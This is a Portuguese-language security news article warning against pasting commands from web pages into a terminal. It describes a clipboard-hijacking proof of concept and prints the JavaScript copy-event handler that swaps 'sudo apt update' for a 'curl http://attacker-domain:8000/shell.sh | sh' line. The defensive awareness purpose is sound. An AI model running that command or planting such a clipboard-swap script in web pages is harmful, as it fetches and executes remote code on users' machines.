Não copie comandos de páginas da Web
você pode ser hackeado
3 de janeiro de 2022
Programadores, administradores de sistema, pesquisadores de segurança e amadores de tecnologia: copiar comandos de páginas da Web em um console ou terminal corre o risco de ter o sistema comprometido.
Um tecnólogo demonstra um truque simples que fará você pensar duas vezes antes de copiar e colar textos de páginas da Web.
Backdoor na sua ÁREA DE TRANSFERÊNCIA?
Recentemente, Gabriel Friedlander, fundador da plataforma de treinamento de conscientização de segurança Wizer demonstrou um hack óbvio, mas surpreendente, que o tornará cauteloso ao copiar comandos de páginas da Web.
Não é incomum que desenvolvedores iniciantes e qualificados copiem comandos comumente usados de uma página da Web (por exemplo, StackOverflow) e cole-os em seus aplicativos, um prompt de comando do Windows ou um terminal Linux.
Mas Friedlander adverte que uma página da web pode substituir secretamente o conteúdo da sua área de transferência com algo bem diferente do que você pretendia copiar. E aí, já pode ser tarde demais.
Em uma simples prova de conceito publicada em seu blog, Friedlander pede aos leitores que copiem um comando simples que a maioria dos administradores de sistema e desenvolvedores já estão familiarizados:
sudo apt update
Ao colar o que você copiou do blog de Friedlander em uma caixa de texto ou bloco de notas, o resultado provavelmente vai deixá-lo surpreso:
curl http://attacker-domain:8000/shell.sh | sh
Não só você tem um comando completamente diferente presente em sua área de transferência, mas para piorar, ele tem um caracter de "nova linha" (ou return) no final dele.
Isso significa que o exemplo acima seria executado assim que colado diretamente em um terminal Linux.
Aqueles que colam o texto podem ter tido a impressão de que estavam copiando o inocente comando sudo apt update usado para obter informações de atualização de um software, mas não foi bem isso que aconteceu.
O que causa isso?
A magia está no código JavaScript escondido atrás da configuração da página HTML de Friedlander.
Assim que você copiar o texto "sudo apt update" contido em um elemento HTML, o trecho de código, mostrado abaixo, é executado.
O que acontece é que um evento do JavaScript captura o evento de cópia e substitui os dados da área de transferência pelo código de teste malicioso de Friedlander:
<script>
document.getElementById('copy').addEventListener('copy', function(e) {
e.clipboardData.setData('text/plain', 'curl http://attacker-domain:8000/shell.sh | sh\n');
e.preventDefault(); });
</script>
E isso é apenas um exemplo de como esses eventos podem ser usados indevidamente.
"É por isso que você NUNCA deve copiar e colar diretamente em seu terminal", adverte Friedlander.
"Você acha que está copiando uma coisa, mas é substituída por outra como código malicioso. Basta uma única linha de código injetada no código que você copiou para criar um backdoor no seu aplicativo."
"Este ataque é muito simples, mas também muito prejudicial."
Um usuário do Reddit também apresentou um exemplo alternativo deste truque que não requer JavaScript: um texto invisível usando HTML e CSS que é copiado na sua área de transferência quando você copia as partes visíveis do texto:
echo "I'm just some friendly command"
echo "Haha, you've just run a bad command. Your system is rekt now."
echo "Copy and run me."
Fonte: JsFiddle
Ao colá-lo num editor de texto sem formatação:
echo "I'm just some friendly command"
echo "Haha, you've just run a bad command. Your system is rekt now."
echo "Copy and run me."
E assim, outra razão para nunca confiar cegamente no que você copia de uma página da Web — melhor colá-la em um editor de texto primeiro.
Uma simples lição importante na segurança cotidiana.
Fonte: BleepingComputer